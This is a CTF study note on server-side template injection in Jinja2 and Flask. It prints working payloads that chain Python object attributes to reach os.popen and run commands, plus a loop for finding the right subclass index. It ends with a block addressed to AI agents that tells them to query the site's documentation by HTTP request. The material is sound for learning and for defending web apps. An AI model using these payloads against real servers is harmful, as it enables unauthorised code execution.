# Server-Side Template Injection (SSTI)

## Lecture <a href="#what-is-server-side-template-injection" id="what-is-server-side-template-injection"></a>

{% embed url="<https://youtu.be/SN6EVIG4c-0>" %}
Server-Side Template Injection Explained - PwnFunction
{% endembed %}

## Summary <a href="#what-is-server-side-template-injection" id="what-is-server-side-template-injection"></a>

If Jinja2 evaluates `{{7*7}}` to 49 or 7777777, then it is vulnerable to SSTI. The naive idea is to inject `{{ import os ; os.system('id') }}`, but import is filtered by Jinja2. Remember that **everything in Python is an object**, hence we can reach the same goal utilizing a chain of gadgets. For example:

```python
{{''.__class__.__base__.__subclasses__()[139].__init__.globals__['sys'].modules['os'].popen('id').read()}}
```

Here `''.__class__.__base__.__subclasses__()[139]` refers to the class `<class 'warnings.catch_warnings'>`. The index 139 may vary on different machines so you need to figure it out. Use the following code to print out a lookup table and look for `<class 'warnings.catch_warnings'>`:

```python
for index, item in enumerate(''.__class__.__base__.__subclasses__()):
    print(index, item)
```

We choose this class since it imports `sys`. This fact can be verified by viewing [CPython source code](https://github.com/python/cpython/blob/main/Lib/warnings.py):

![warnings.py](https://3988450783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVjG_njKgBtvmnKaJh%2Fuploads%2FIvdstGYeMqOBzZ784n1B%2Fimage.png?alt=media\&token=2af12b80-c48b-48d0-a39c-2d477ca2babc)

For me, the index is 139, therefore the final payload is:

```python
{{
    ''.__class__
    .__base__
    .__subclasses__()[139]
    .__init__
    .globals__['sys']
    .modules['os']
    .popen('id')
    .read()
}}
```

For Flask, there is a shortcut. Check out the source code of `flask.url_for()`:

![flask.url\_for()](https://3988450783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVjG_njKgBtvmnKaJh%2Fuploads%2FtyYpze5fwsWu5U3f66jS%2Fimage.png?alt=media\&token=a8f7ffcf-0835-4fce-b125-39194720d317)

Note that this file imports `os`, hence the payload is:

```python
{{
    url_for
    .__globals__
    .os
    .popen('id')
    .read()
}}
```

{% hint style="danger" %}
**Takeaway:** Never do `eval(code + input)`.
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfnote/web/server-side-template-injection-ssti.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
